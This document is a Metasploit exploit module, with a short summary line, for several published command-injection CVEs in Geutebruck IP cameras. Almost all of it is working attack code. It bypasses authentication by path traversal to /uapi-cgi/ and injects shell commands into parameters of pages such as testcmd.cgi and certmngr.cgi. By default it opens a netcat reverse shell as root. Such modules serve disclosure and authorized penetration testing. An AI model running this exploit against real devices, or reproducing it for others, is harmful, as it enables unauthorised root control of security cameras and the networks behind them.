This Metasploit module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder and exploits multiple authenticated arbitrary command execution vulnerabilities within the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions 1.12.0.27 and below as well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in remote code execution as the root user.
92b73b5927fb8541093395f2793bd346
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Geutebruck Multiple Remote Command Execution',
'Description' => %q{
This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder
and exploits multiple authenticated arbitrary command execution vulnerabilities within
the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx,
EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as
well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in
remote code execution as the root user.
},
'Author' => [
'Titouan Lazard', # Of RandoriSec - Discovery
'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module
'Sébastien Charbonnier' # Of RandoriSec - Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-33543'],
['CVE', '2021-33544'],
['CVE', '2021-33548'],
['CVE', '2021-33550'],
['CVE', '2021-33551'],
['CVE', '2021-33552'],
['CVE', '2021-33553'],
['CVE', '2021-33554'],
[ 'URL', 'http://geutebruck.com' ],
[ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],
[ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']
],
'DisclosureDate' => '2021-07-08',
'Privileged' => true,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'CVE-2021-33544 - certmngr.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'createselfcert',
'local' => Rex::Text.rand_text_alphanumeric(10..16),
'country' => Rex::Text.rand_text_alphanumeric(2),
'state' => '$(PLACEHOLDER_CMD)',
'organization' => Rex::Text.rand_text_alphanumeric(10..16),
'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16),
'commonname' => Rex::Text.rand_text_alphanumeric(10..16),
'days' => Rex::Text.rand_text_numeric(2..4),
'type' => Rex::Text.rand_text_numeric(2..4)
},
'uri' => '/../uapi-cgi/certmngr.cgi'
}
],
[
'CVE-2021-33548 - factory.cgi', {
'http_method' => 'GET',
'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/factory.cgi'
}
],
[
'CVE-2021-33550 - language.cgi', {
'http_method' => 'GET',
'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/language.cgi'
}
],
[
'CVE-2021-33551 - oem.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'set',
'enable' => 'yes',
'environment.lang' => '$(PLACEHOLDER_CMD)'
},
'uri' => '/../uapi-cgi/oem.cgi'
}
],
[
'CVE-2021-33552 - simple_reclistjs.cgi', {
'http_method' => 'GET',
'http_vars' => {
'action' => 'get',
'timekey' => Rex::Text.rand_text_numeric(2..4),
'date' => '$(PLACEHOLDER_CMD)'
},
'uri' => '/../uapi-cgi/simple_reclistjs.cgi'
}
],
[
'CVE-2021-33553 - testcmd.cgi', {
'http_method' => 'GET',
'http_vars' => { 'command' => 'PLACEHOLDER_CMD' },
'uri' => '/../uapi-cgi/testcmd.cgi'
}
],
[
'CVE-2021-33554 - tmpapp.cgi', {
'http_method' => 'GET',
'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' },
'uri' => '/../uapi-cgi/tmpapp.cgi'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
},
'Notes' => {
'Stability' => ['CRASH_SAFE'],
'Reliability' => ['REPEATABLE_SESSION'],
'SideEffects' => ['ARTIFACTS_ON_DISK']
}
)
)
end
def firmware
res = send_request_cgi(
'method' => 'GET',
'uri' => '/brand.xml'
)
unless res
print_error('Connection failed!')
return false
end
unless res&.body && !res.body.empty?
print_error('Empty body in the response!')
return false
end
res_xml = res.get_xml_document
if res_xml.at('//firmware').nil?
print_error('Target did not respond with a XML document containing the "firmware" element!')
return false
end
raw_text = res_xml.at('//firmware').text
if raw_text && raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)[0]
else
print_error('Target responded with a XML document containing the "firmware" element but its not a valid version string!')
false
end
end
def check
version = firmware
if version == false
return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!')
end
rex_version = Rex::Version.new(version)
vprint_status("Found Geutebruck version #{rex_version}")
if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5')
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
print_status("#{rhost}:#{rport} - Setting up request...")
method = target['http_method']
if method == 'GET'
http_method_vars = 'vars_get'
else
http_method_vars = 'vars_post'
end
http_vars = target['http_vars']
http_vars.each do |(k, v)|
if v.include? 'PLACEHOLDER_CMD'
http_vars[k]['PLACEHOLDER_CMD'] = payload.encoded
end
end
print_status("Sending CMD injection request to #{rhost}:#{rport}")
send_request_cgi(
{
'method' => method,
'uri' => target['uri'],
http_method_vars => http_vars
}
)
print_status('Exploit complete, you should get a shell as the root user!')
end
end